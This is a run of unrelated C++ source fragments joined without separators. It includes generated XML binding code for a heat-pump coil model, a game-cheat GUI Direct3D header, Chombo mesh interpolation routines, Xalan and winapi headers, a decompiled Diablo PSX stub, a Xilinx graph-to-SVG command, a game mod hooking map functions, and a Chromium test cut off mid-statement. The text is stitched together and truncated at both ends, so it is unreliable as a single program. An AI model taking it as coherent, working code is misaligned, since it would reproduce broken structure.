== "SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName" && n.namespace_ () == "http://d-alchemy.com/schema/simxml/MepModel") { ::std::auto_ptr< SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName_type > r ( SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName_traits::create (i, f, this)); if (!this->SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName_) { this->SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName_.set (r); continue; } } // SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName // if (n.name () == "SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName" && n.namespace_ () == "http://d-alchemy.com/schema/simxml/MepModel") { ::std::auto_ptr< SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName_type > r ( SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName_traits::create (i, f, this)); if (!this->SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName_) { this->SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName_.set (r); continue; } } // SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName // if (n.name () == "SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName" && n.namespace_ () == "http://d-alchemy.com/schema/simxml/MepModel") { ::std::auto_ptr< SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName_type > r ( SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName_traits::create (i, f, this)); if (!this->SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName_) { this->SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName_.set (r); continue; } } // SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName // if (n.name () == "SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName" && n.namespace_ () == "http://d-alchemy.com/schema/simxml/MepModel") { ::std::auto_ptr< SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName_type > r ( SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName_traits::create (i, f, this)); if (!this->SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName_) { this->SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName_.set (r); continue; } } // SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds // if (n.name () == "SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds" && n.namespace_ () == "http://d-alchemy.com/schema/simxml/MepModel") { ::std::auto_ptr< SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds_type > r ( SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds_traits::create (i, f, this)); if (!this->SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds_) { this->SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds_.set (r); continue; } } // SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName // if (n.name () == "SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName" && n.namespace_ () == "http://d-alchemy.com/schema/simxml/MepModel") { ::std::auto_ptr< SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName_type > r ( SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName_traits::create (i, f, this)); if (!this->SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName_) { this->SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName_.set (r); continue; } } break; } } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit* SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: _clone (::xml_schema::flags f, ::xml_schema::container* c) const { return new class SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit (*this, f, c); } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: operator= (const SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit& x) { if (this != &x) { static_cast< ::schema::simxml::MepModel::SimFlowEnergyTransfer_CoolingCoilWater& > (*this) = x; this->SimFlowEnergyTrans_NumSpeeds_ = x.SimFlowEnergyTrans_NumSpeeds_; this->SimFlowEnergyTrans_IndoorAirInletNodeName_ = x.SimFlowEnergyTrans_IndoorAirInletNodeName_; this->SimFlowEnergyTrans_IndoorAirOutletNodeName_ = x.SimFlowEnergyTrans_IndoorAirOutletNodeName_; this->SimFlowEnergyTrans_NominalSpeedLevel_ = x.SimFlowEnergyTrans_NominalSpeedLevel_; this->SimFlowEnergyTrans_GrossRatedTotalCoolCapAtSelectedNomSpeedLevel_ = x.SimFlowEnergyTrans_GrossRatedTotalCoolCapAtSelectedNomSpeedLevel_; this->SimFlowEnergyTrans_RatedAirFlowRateAtSelectedNomSpeedLevel_ = x.SimFlowEnergyTrans_RatedAirFlowRateAtSelectedNomSpeedLevel_; this->SimFlowEnergyTrans_NominalTimeforCondensateToBeginLeavingtheCoil_ = x.SimFlowEnergyTrans_NominalTimeforCondensateToBeginLeavingtheCoil_; this->SimFlowEnergyTrans_InitialMoistureEvapRateDiviBySteady_StateACLatentCap_ = x.SimFlowEnergyTrans_InitialMoistureEvapRateDiviBySteady_StateACLatentCap_; this->SimFlowEnergyTrans_EnergyPartLoadFractionCurveName_ = x.SimFlowEnergyTrans_EnergyPartLoadFractionCurveName_; this->SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName_ = x.SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName_; this->SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName_ = x.SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName_; this->SimFlowEnergyTrans_RatedWaterFlowRateAtSelectedNomSpeedLevel_ = x.SimFlowEnergyTrans_RatedWaterFlowRateAtSelectedNomSpeedLevel_; this->SimFlowEnergyTrans_FlagforUsingHotGasReheat_0_or_1_ = x.SimFlowEnergyTrans_FlagforUsingHotGasReheat_0_or_1_; this->SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap_ = x.SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap_; this->SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio_ = x.SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio_; this->SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP_ = x.SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP_; this->SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate_ = x.SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate_; this->SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate_ = x.SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate_; this->SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName_ = x.SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName_; this->SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName_ = x.SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName_; this->SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName_ = x.SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName_; this->SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName_ = x.SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName_; this->SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName_ = x.SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName_; this->SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName_ = x.SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName_; this->SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds_ = x.SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds_; this->SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName_ = x.SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName_; } return *this; } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: ~SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit () { } } } } #include #include #include namespace schema { namespace simxml { namespace MepModel { } } } #include // Begin epilogue. // // // End epilogue. /* * OldSchoolHack GUI * * by KN4CK3R https://www.oldschoolhack.me/ * * See license in OSHGui.hpp */ #ifndef OSHGUI_DRAWING_DIRECT3D8X_HPP #define OSHGUI_DRAWING_DIRECT3D8X_HPP #include /** * Rebuild einiger D3DX8 Funktionen, da ein Linken gegen die D3DX8 Bibliothek nicht konfliktfrei ist. */ D3DXMATRIX *MatrixMultiply( D3DXMATRIX *pout, const D3DXMATRIX *pm1, const D3DXMATRIX *pm2 ); D3DXMATRIX *MatrixIdentity( D3DXMATRIX * pOut ); D3DXMATRIX *MatrixOrthoOffCenterRH( D3DXMATRIX *pout, float l, float r, float b, float t, float zn, float zf ); D3DXMATRIX *MatrixLookAtRH( D3DXMATRIX *out, const D3DXVECTOR3 *eye, const D3DXVECTOR3 *at, const D3DXVECTOR3 *up ); D3DXMATRIX *MatrixPerspectiveFovRH( D3DXMATRIX *pout, float fovy, float aspect, float zn, float zf ); D3DXMATRIX *MatrixTransformation( D3DXMATRIX *pout, const D3DXVECTOR3 *pscalingcenter, const D3DXQUATERNION *pscalingrotation, const D3DXVECTOR3 *pscaling, const D3DXVECTOR3 *protationcenter, const D3DXQUATERNION *protation, const D3DXVECTOR3 *ptranslation ); HRESULT LoadSurfaceFromMemory( IDirect3DSurface8 *destSurface, const PALETTEENTRY *destPaletteEntry, const RECT *destRect, const void *srcData, D3DFORMAT format, UINT srcPitch, const PALETTEENTRY *srcPaletteEntry, const RECT *srcRect, DWORD filter, D3DCOLOR color ); #endif #ifdef CH_LANG_CC /* * _______ __ * / ___/ / ___ __ _ / / ___ * / /__/ _ \/ _ \/ V \/ _ \/ _ \ * \___/_//_/\___/_/_/_/_.__/\___/ * Please refer to Copyright.txt, in Chombo's root directory. */ #endif #include "DisjointBoxLayout.H" #include "LevelData.H" #include "BaseFab.H" #include "REAL.H" #include "DataIterator.H" #include "Tuple.H" #include "InterpF_F.H" #include "AverageF_F.H" #include "FineInterp.H" #include "NamespaceHeader.H" /// static variable initialization int FineInterp::s_default_boundary_limit_type = noSlopeLimiting; FineInterp::FineInterp() : is_defined(false) { } FineInterp::~FineInterp() { } FineInterp::FineInterp(const DisjointBoxLayout& a_fine_domain, const int& a_numcomps, const int& a_ref_ratio, const Box& a_fine_problem_domain) : is_defined(false) { ProblemDomain fineProbDomain(a_fine_problem_domain); define(a_fine_domain, a_numcomps, a_ref_ratio, fineProbDomain); } FineInterp::FineInterp(const DisjointBoxLayout& a_fine_domain, const int& a_numcomps, const int& a_ref_ratio, const ProblemDomain& a_fine_problem_domain) : is_defined(false) { define(a_fine_domain, a_numcomps, a_ref_ratio, a_fine_problem_domain); } void FineInterp::define(const DisjointBoxLayout& a_fine_domain, const int& a_numcomps, const int& a_ref_ratio, const Box& a_fine_problem_domain) { ProblemDomain fineProbDomain(a_fine_problem_domain); define(a_fine_domain, a_numcomps, a_ref_ratio, fineProbDomain); } void FineInterp::define(const DisjointBoxLayout& a_fine_domain, const int& a_numcomps, const int& a_ref_ratio, const ProblemDomain& a_fine_problem_domain) { CH_TIME("FineInterp::define"); // set boundary limit type to default value m_boundary_limit_type = s_default_boundary_limit_type; // check for consistency CH_assert (a_fine_domain.checkPeriodic(a_fine_problem_domain)); m_ref_ratio = a_ref_ratio; m_coarse_problem_domain = coarsen(a_fine_problem_domain, m_ref_ratio); // // create the work array DisjointBoxLayout coarsened_fine_domain; coarsen ( coarsened_fine_domain, a_fine_domain, m_ref_ratio ); m_coarsened_fine_data.define ( coarsened_fine_domain, a_numcomps, IntVect::Unit ); is_defined = true; } bool FineInterp::isDefined() const { return ( is_defined ); } // interpolate from coarse level to fine level void FineInterp::interpToFine(LevelData& a_fine_data, const LevelData& a_coarse_data, bool a_averageFromDest) { CH_TIME("FineInterp::interpToFine"); CH_assert(is_defined); #ifndef NDEBUG // debugging check { DataIterator crseDit = m_coarsened_fine_data.dataIterator(); for (crseDit.reset(); crseDit.ok(); ++crseDit) { m_coarsened_fine_data[crseDit()].setVal(1.0e9); } } #endif if (a_averageFromDest) { // average down fine data -- this is a local operation DataIterator dit = a_fine_data.dataIterator(); for (dit.begin(); dit.ok(); ++dit) { FArrayBox& fineFab = a_fine_data[dit]; FArrayBox& crseFab = m_coarsened_fine_data[dit]; const Box& crseBox = m_coarsened_fine_data.getBoxes()[dit]; Box refbox(IntVect::Zero, (m_ref_ratio-1)*IntVect::Unit); FORT_AVERAGE(CHF_FRA(crseFab), CHF_CONST_FRA(fineFab), CHF_BOX(crseBox), CHF_CONST_INT(m_ref_ratio), CHF_BOX(refbox)); } } // this should handle all the periodic BCs as well, // by filling in the ghost cells in an appropriate way a_coarse_data.copyTo(a_coarse_data.interval(), m_coarsened_fine_data, m_coarsened_fine_data.interval() ); const BoxLayout fine_domain = a_fine_data.boxLayout(); DataIterator dit = fine_domain.dataIterator(); for (dit.begin(); dit.ok(); ++dit) { const BaseFab& coarsened_fine = m_coarsened_fine_data[dit()]; const Box& coarsened_fine_box = m_coarsened_fine_data.getBoxes()[dit()]; BaseFab& fine = a_fine_data[dit()]; // interpGridData interpolates from an entire coarse grid onto an // entire fine grid. interpGridData(fine, coarsened_fine, coarsened_fine_box, m_ref_ratio); } } void FineInterp::pwcinterpToFine(LevelData& a_fine_data, const LevelData& a_coarse_data, bool a_averageFromDest) { CH_TIME("FineInterp::pwcinterpToFine"); CH_assert(is_defined); if (a_averageFromDest) { // average down fine data -- this is a local operation DataIterator dit = a_fine_data.dataIterator(); for (dit.begin(); dit.ok(); ++dit) { FArrayBox& fineFab = a_fine_data[dit]; FArrayBox& crseFab = m_coarsened_fine_data[dit]; const Box& crseBox = m_coarsened_fine_data.getBoxes()[dit]; Box refbox(IntVect::Zero, (m_ref_ratio-1)*IntVect::Unit); FORT_AVERAGE(CHF_FRA(crseFab), CHF_CONST_FRA(fineFab), CHF_BOX(crseBox), CHF_CONST_INT(m_ref_ratio), CHF_BOX(refbox)); } } // this should handle all the periodic BCs as well, // by filling in the ghost cells in an appropriate way a_coarse_data.copyTo(a_coarse_data.interval(), m_coarsened_fine_data, m_coarsened_fine_data.interval() ); const BoxLayout fine_domain = a_fine_data.boxLayout(); DataIterator dit = fine_domain.dataIterator(); for (dit.begin(); dit.ok(); ++dit) { const BaseFab& coarsened_fine = m_coarsened_fine_data[dit()]; const Box& coarsened_fine_box = m_coarsened_fine_data.getBoxes()[dit()]; BaseFab& fine = a_fine_data[dit()]; // interpGridData interpolates from an entire coarse grid onto an // entire fine grid. pwcinterpGridData(fine, coarsened_fine, coarsened_fine_box, m_ref_ratio); } } void FineInterp::pwcinterpGridData(BaseFab& a_fine, const BaseFab& a_coarse, const Box& a_coarsened_fine_box, int a_ref_ratio) const { CH_TIME("FineInterp::pwcinterpGridData"); // fill fine data with piecewise constant coarse data const Box& b = a_coarsened_fine_box; Box refbox(IntVect::Zero, (a_ref_ratio-1)*IntVect::Unit); FORT_INTERPCONSTANT ( CHF_FRA(a_fine), CHF_CONST_FRA(a_coarse), CHF_BOX(b), CHF_CONST_INT(a_ref_ratio), CHF_BOX(refbox) ); } // interpolate from fine grid to coarse grid. prerequisite: // coarsened.box contains coarsen(fine.box). // // uses piecewise bilinear interpolation with multidimensional-limited // slopes. see design document for details. void FineInterp::interpGridData(BaseFab& a_fine, const BaseFab& a_coarse, const Box& a_coarsened_fine_box, int a_ref_ratio) const { CH_TIME("FineInterp::interpGridData"); // fill fine data with piecewise constant coarse data const Box& b = a_coarsened_fine_box; const int num_comp = a_fine.nComp (); Box refbox(IntVect::Zero, (a_ref_ratio-1)*IntVect::Unit); FORT_INTERPCONSTANT ( CHF_FRA(a_fine), CHF_CONST_FRA(a_coarse), CHF_BOX(b), CHF_CONST_INT(a_ref_ratio), CHF_BOX(refbox) ); // Tuple, SpaceDim> slopes; // for (int dir = 0; dir < SpaceDim; ++dir) // hardwired to 3 due to lack of variable number of arguments in chfpp BaseFab slopes[3]; for (int dir = 0; dir < 3; ++dir) { BaseFab& dir_slope = slopes[dir]; dir_slope.resize(b, num_comp); // initialize to zero for PC-interp case dir_slope.setVal(0.0); } for (int dir = 0; dir < SpaceDim; ++dir) { BaseFab& dir_slope = slopes[dir]; const Box bcenter = grow(m_coarse_problem_domain,-BASISV(dir)) & b; if (!bcenter.isEmpty()) { FORT_INTERPCENTRALSLOPE ( CHF_FRA ( dir_slope ), CHF_CONST_FRA ( a_coarse ), CHF_BOX ( bcenter ), CHF_CONST_INT ( dir ) ); } const Box blo = b & adjCellLo(grow(m_coarse_problem_domain,-BASISV(dir)),dir); if (!blo.isEmpty()) { FORT_INTERPHISIDESLOPE ( CHF_FRA ( dir_slope ), CHF_CONST_FRA ( a_coarse ), CHF_BOX ( blo ), CHF_CONST_INT ( dir ) ); } const Box bhi = b & adjCellHi(grow(m_coarse_problem_domain,-BASISV(dir)),dir); if (!bhi.isEmpty()) { FORT_INTERPLOSIDESLOPE ( CHF_FRA ( dir_slope ), CHF_CONST_FRA ( a_coarse ), CHF_BOX ( bhi ), CHF_CONST_INT ( dir ) ); } } // to do limits, we need to have a box which includes // the neighbors of a given point (to check for the // local maximum... Box neighborBox(-1*IntVect::Unit, IntVect::Unit); // GHM 7/12/01 // interplimit iterates over box b_mod (was b), but cells within // 1 of the physical boundary never enter result (and this // wasted calculation may call upon uninitialized memory). // DFM 10/8/01 // note that this turns off slope limiting for cells adjacent to the // boundary -- may want to revisit this in the future // DFM (9/23/14) -- finally revisiting this; only compute modified box if // slope limiting is turned off or if PC interpolation. // (otherwise, do limiiting adjacent to domain boundaries) Box b_mod(b); if (m_boundary_limit_type != limitSlopes) { b_mod.grow(1); b_mod = m_coarse_problem_domain & b_mod; b_mod.grow(-1); } // create a box grown big enough to remove periodic BCs from domain Box domBox = grow(b, 2); domBox = m_coarse_problem_domain & domBox; FORT_INTERPLIMIT ( CHF_FRA ( slopes[0] ), CHF_FRA ( slopes[1] ), CHF_FRA ( slopes[2] ), CHF_CONST_FRA ( a_coarse ), CHF_BOX ( b_mod ), CHF_BOX ( neighborBox ), CHF_BOX (domBox) ); for (int dir = 0; dir < SpaceDim; ++dir) { BaseFab& dir_slope = slopes[dir]; Box linearInterpBox = b; if (m_boundary_limit_type == PCInterp) { linearInterpBox = b_mod; } FORT_INTERPLINEAR ( CHF_FRA ( a_fine ), CHF_CONST_FRA ( dir_slope ), CHF_BOX ( linearInterpBox ), CHF_CONST_INT ( dir ), CHF_CONST_INT ( a_ref_ratio ), CHF_BOX ( refbox ) ); } } #include "NamespaceFooter.H" /* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #if !defined(XERCESNODELISTWRAPPER_HEADER_GUARD_1357924680) #define XERCESNODELISTWRAPPER_HEADER_GUARD_1357924680 #include #include #include namespace XALAN_CPP_NAMESPACE { class XercesWrapperNavigator; class XALAN_XERCESPARSERLIAISON_EXPORT XercesNodeListWrapper : public XalanNodeList { public: XercesNodeListWrapper( const DOMNodeListType* theXercesNodeList, const XercesWrapperNavigator& theNavigator); XercesNodeListWrapper(const XercesNodeListWrapper& theSource); virtual ~XercesNodeListWrapper(); bool operator==(const XercesNodeListWrapper& theRHS) const { return m_xercesNodeList == theRHS.m_xercesNodeList ? true : false; } // These interfaces are inherited from XalanNodeList... virtual XalanNode* item(XalanSize_t index) const; virtual XalanSize_t getLength() const; private: // Not implemented... XercesNodeListWrapper& operator=(const XercesNodeListWrapper& theRHS); // Data members... const DOMNodeListType* m_xercesNodeList; const XercesWrapperNavigator& m_navigator; }; } #endif // !defined(XERCESNODELISTWRAPPER_HEADER_GUARD_1357924680) // Copyright (c) 2020 <> // This file is part of the "winapi-common" project. // For details, see https://github.com/egor-tensin/winapi-common. // Distributed under the MIT License. #pragma once #include "buffer.hpp" #include namespace winapi { struct Resource { // This is just a pointer to static data. Resource() = default; Resource(const void* data, std::size_t nb) : data{data}, nb{nb} {} Buffer copy() const { return {data, nb}; } const void* data = nullptr; std::size_t nb = 0; }; } // namespace winapi maoa3/scalpelpsx/_dump_/38/_dump_c_src_/diabpsx/source/misdat.cpp // C:\diabpsx\SOURCE\MISDAT.CPP #include "types.h" // address: 0x8004E894 // line start: 33 // line end: 35 void nullmissile__Fiiiiiicii(int mi, int sx, int sy, int dx, int dy, int midir, int mienemy, int id, int dam) { } // address: 0x8004E89C // line start: 812 // line end: 814 void FuncNULL__FP13MissileStructiii(struct MissileStruct *Ms, int ScrX, int ScrY, int OtPos) { } 100-1000 /* * Copyright 2019 Xilinx Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "cmd_svg.hpp" #include #include using namespace std; CmdSvg::CmdSvg(const std::string& name) : Cmd(name) {} int CmdSvg::main(int argc, char* argv[]) { if (argc < 3) { cout << help() << endl; return 1; } auto xmodel = std::string(argv[1]); auto svg = std::string(argv[2]); auto graph = xir::Graph::deserialize(xmodel); CHECK(graph != nullptr) << "cannot read graph" << xmodel; graph->visualize(svg, "svg"); return 0; } std::string CmdSvg::help() const { std::ostringstream str; str << "xir " << get_name() << " \n\t" << "convert a xmodel to svg file."; return str.str(); } // Executables must have the following defined if the library contains // doctest definitions. For builds with this disabled, e.g. code shipped to // users, this can be left out. #ifdef ENABLE_DOCTEST_IN_LIBRARY #define DOCTEST_CONFIG_IMPLEMENT #include "../tests/doctest/doctest.h" #endif #include "../include/menu_cub.hpp" #include "exampleConfig.h" /* * Simple main program that demontrates how access * CMake definitions (here the version number) from source code. */ int main() { std::cout << "C++ Boiler Plate v" << PROJECT_VERSION_MAJOR << "." << PROJECT_VERSION_MINOR << "." << PROJECT_VERSION_PATCH << "." << PROJECT_VERSION_TWEAK << std::endl; // Bring in the dummy class from the example source, // just to show that it is accessible from main.cpp. int i; Menu_cub menu; double iter1[4][3] = {{0, 0, 0}, {50, 0, 0}, {50, 50, 0} , {0, 50, 0}}; double iter2[4][3] = {{0, 0, 100}, {50, 0, 100}, {50, 50, 100} , {0, 50, 100}}; Vector3D tops[2][4]; for (i = 0; i < 4; ++i) { tops[0][i] = Vector3D(iter1[i]); tops[1][i] = Vector3D(iter2[i]); } Cuboid cub(tops); menu.init_menu(tops); } #include #include #include #include namespace { BINDING(4091744, app::GameWorldArea*, GameWorld__GetArea, (app::GameWorld* thisPtr, int32_t areaID)) BINDING(4084240, app::RuntimeGameWorldArea*, GameWorld__FindRuntimeArea, (app::GameWorld* thisPtr, app::GameWorldArea* area)); BINDING(12643712, void, RuntimeGameWorldArea__DiscoverAllAreas, (app::RuntimeGameWorldArea* thisPtr)); app::GameWorld* game_world_instance = 0; bool found_game_world() { return game_world_instance != 0; } INTERCEPT(4084560, void, GameWorld__Awake, (app::GameWorld* thisPtr)) { if (game_world_instance != thisPtr) { trace(MessageType::Debug, 5, "game", "Found GameWorld instance!"); game_world_instance = thisPtr; } GameWorld__Awake(thisPtr); } INTERCEPT(12666400, bool, RuntimeWorldMapIcon__IsVisible, (app::RuntimeWorldMapIcon* thisPtr, app::AreaMapUI* areaMap)) { return true; } INTERCEPT(12673168, bool, RuntimeWorldMapIcon__CanBeTeleportedTo, (app::RuntimeWorldMapIcon* thisPtr)) { return RuntimeWorldMapIcon__CanBeTeleportedTo(thisPtr) || csharp_bridge::tp_to_any_pickup(); } extern "C" __declspec(dllexport) bool discover_everything() { if (game_world_instance) { for (int32_t i = 0; i <= 15; i++) { auto area = GameWorld__GetArea(game_world_instance, i); if (!area) { //Areas: None, WeepingRidge, GorlekMines, Riverlands would crash the game continue; } auto runtimeArea = GameWorld__FindRuntimeArea(game_world_instance, area); if (!runtimeArea) continue; RuntimeGameWorldArea__DiscoverAllAreas(runtimeArea); } trace(MessageType::Debug, 5, "game", "Map revealed"); return true; } else { trace(MessageType::Warning, 3, "game", "Tried to discover all, but haven't found the GameWorld Instance yet :("); return false; } } constexpr InputButton FOCUS_BUTTON = InputButton::Ability3; void update_map_focus(InputState const& state); app::AreaMapNavigation* cached = nullptr; INTERCEPT(4840480, void, AreaMapUI__Show, (app::AreaMapUI* this_ptr)) { AreaMapUI__Show(this_ptr); if (csharp_bridge::check_ini("QuestFocusOnAbility3")) { cached = this_ptr->fields._Navigation_k__BackingField; register_input_callback(FOCUS_BUTTON, update_map_focus); } } INTERCEPT(4839760, void, AreaMapUI__Hide, (app::AreaMapUI* this_ptr)) { AreaMapUI__Hide(this_ptr); if (cached != nullptr) { if (!unregister_input_callback(FOCUS_BUTTON, update_map_focus)) trace(MessageType::Error, 2, "game", "Failed to unregister map focus callback."); cached = nullptr; } } app::Quest* quest_cache; bool disable_next_update_map_target = false; INTERCEPT(5384784, void, AreaMapNavigation__SetTarget, (app::AreaMapNavigation* this_ptr, app::Quest* quest)) { if (csharp_bridge::check_ini("QuestFocusOnAbility3")) { quest_cache = quest; disable_next_update_map_target = true; } else AreaMapNavigation__SetTarget(this_ptr, quest); } INTERCEPT(5385552, void, AreaMapNavigation__UpdateMapTarget, (app::AreaMapNavigation* this_ptr)) { if (!disable_next_update_map_target) AreaMapNavigation__UpdateMapTarget(this_ptr); disable_next_update_map_target = false; } void update_map_focus(InputState const& state) { if (cached == nullptr) { unregister_input_callback(FOCUS_BUTTON, update_map_focus); trace(MessageType::Error, 2, "game", "Unregistering callback now, registration order may have been bad."); return; } if (get_input_state(FOCUS_BUTTON).just_pressed && quest_cache != nullptr) { AreaMapNavigation__SetTarget(cached, quest_cache); AreaMapNavigation__UpdateMapTarget(cached); //quest_cache = nullptr; } } } // Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "extensions/browser/api/declarative/deduping_factory.h" #include "base/values.h" #include "testing/gtest/include/gtest/gtest.h" namespace { const char kTypeName[] = "Foo"; const char kTypeName2[] = "Foo2"; // This serves as an example how to use the DedupingFactory. class BaseClass : public base::RefCounted { public: // The type is introduced so that we can compare derived classes even though // Equals takes a parameter of type BaseClass. Each derived class gets an // entry in Type. enum Type { FOO }; explicit BaseClass(Type type) : type_(type) {} Type type() const { return type_; } // For BaseClassT template: virtual bool Equals(const BaseClass* other) const = 0; protected: friend class base::RefCounted; virtual ~BaseClass() {} private: const Type type_; }; class Foo : public BaseClass { public: explicit Foo(int parameter) : BaseClass(FOO), parameter_(parameter) {} virtual bool Equals(const BaseClass* other) const OVERRIDE { return other->type() == type() && static_cast(other)->parameter_ == parameter_; } int parameter() const { return parameter_; } private: friend class base::RefCounted; virtual ~Foo() {} // Note that this class must be immutable. const int parameter_; DISALLOW_COPY_AND_ASSIGN(Foo); }; scoped_refptr CreateFoo(const std::string& /*instance_type*/, const base::Value* value, std::string* error, bool* bad_message) { const base::DictionaryValue* dict = NULL; CHECK(value->GetAsDictionary(&dict)); int parameter = 0; if (!dict->GetInteger("parameter", ¶meter)) { *error = "No parameter"; *bad_message = true; return scoped_refptr(NULL); } return scoped_refptr(new Foo(parameter)); } scoped_ptr CreateDictWithParameter(int parameter) { scoped_ptr dict(new base::DictionaryValue); dict->SetInteger("parameter", parameter); return dict.Pass(); } } // namespace namespace extensions { TEST(DedupingFactoryTest, InstantiationParameterized) { DedupingFactory factory(2); factory.RegisterFactoryMethod( kTypeName, DedupingFactory::IS_PARAMETERIZED, 